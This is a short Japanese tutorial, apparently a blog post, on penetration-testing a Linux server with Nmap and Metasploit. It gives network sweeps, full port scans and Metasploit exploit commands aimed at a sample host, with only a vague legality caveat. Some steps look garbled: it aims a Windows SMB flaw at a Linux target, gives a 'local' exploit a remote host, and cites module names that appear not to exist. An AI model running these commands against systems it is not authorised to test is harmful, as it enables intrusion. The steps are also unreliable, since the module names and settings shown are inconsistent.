2026年10月19日
2026年10月19日
Linuxサーバーのペネトレーションテスト基礎
ステップ1: 必要なツールのインストール
まず、ペネトレーションテストを行うために必要なツールをインストールします。ここでは、NmapとMetasploitフレームワーク(MSF)を使用します。
# Nmapのインストール
sudo apt-get update && sudo apt-get install nmap -y
# Metasploitフレームワークのインストール
git clone https://github.com/rapid7/metasploit-framework.git /opt/metasploit-framework
cd /opt/metasploit-framework
gem install bundler
bundle install --path vendor/bundle
rvm use system
sudo bash
echo 'export PATH=/opt/metasploit-framework/bin:$PATH' >> ~/.bashrc
source ~/.bashrc
msfconsole
ステップ2: 端末からのスキャン
次に、Nmapを使用してサーバーの脆弱性を特定します。まず、基本的な端末からのスキャンから始めましょう。
# ネットワークスキャン
nmap -sP 192.168.0.0/24
# オープンポートの詳細なスキャン
nmap -p- 192.168.0.10 --open
ステップ3: Metasploitフレームワークの利用
Nmapで特定した脆弱性に対して、Metasploitフレームワークを使用して実際の攻撃シミュレーションを実行します。
# Metasploitのスキャン
msfconsole
use auxiliary/scanner/smb/ms17_010_netapi
set RHOSTS 192.168.0.10
run
# バグ利用
use exploit/linux/local/ash_coredump
set RHOST 192.168.0.10
exploit
ステップ4: 実践とトラブルシューティング
実際にサーバーに対して攻撃を行った後、結果を分析し、問題の解決方法を考えます。この段階では、ログファイルやシステム監視ツールを使用して異常な動きを探します。
# ログファイルの確認
tail -f /var/log/auth.log
# システム監視
top
htop
注意事項
- セキュリティ上の注意: ペネトレーションテストは実際の攻撃とは異なり、ただし目的が合法である場合に限り使用します。
- パフォーマンス/運用上の注意: スキャンや攻撃実行はサーバーのパフォーマンスを著しく低下させる可能性がありますので、適切な時間帯に行います。
まとめ
1. ツールインストール: NmapとMetasploitフレームワークを使用する準備を行います。
2. 端末スキャン: 端末からNmapを使ってサーバーの脆弱性を特定します。
3. Metasploit利用: フレームワークで具体的な攻撃シミュレーションを行い、結果分析を行います。
4. 実践とトラブルシューティング: 実際にテストした結果を基にシステムの改善点を探し出します。
関連記事:
- [Linuxサーバーの基本的なセキュリティ設定]
- [SSL/TLSプロトコルの設定と検証]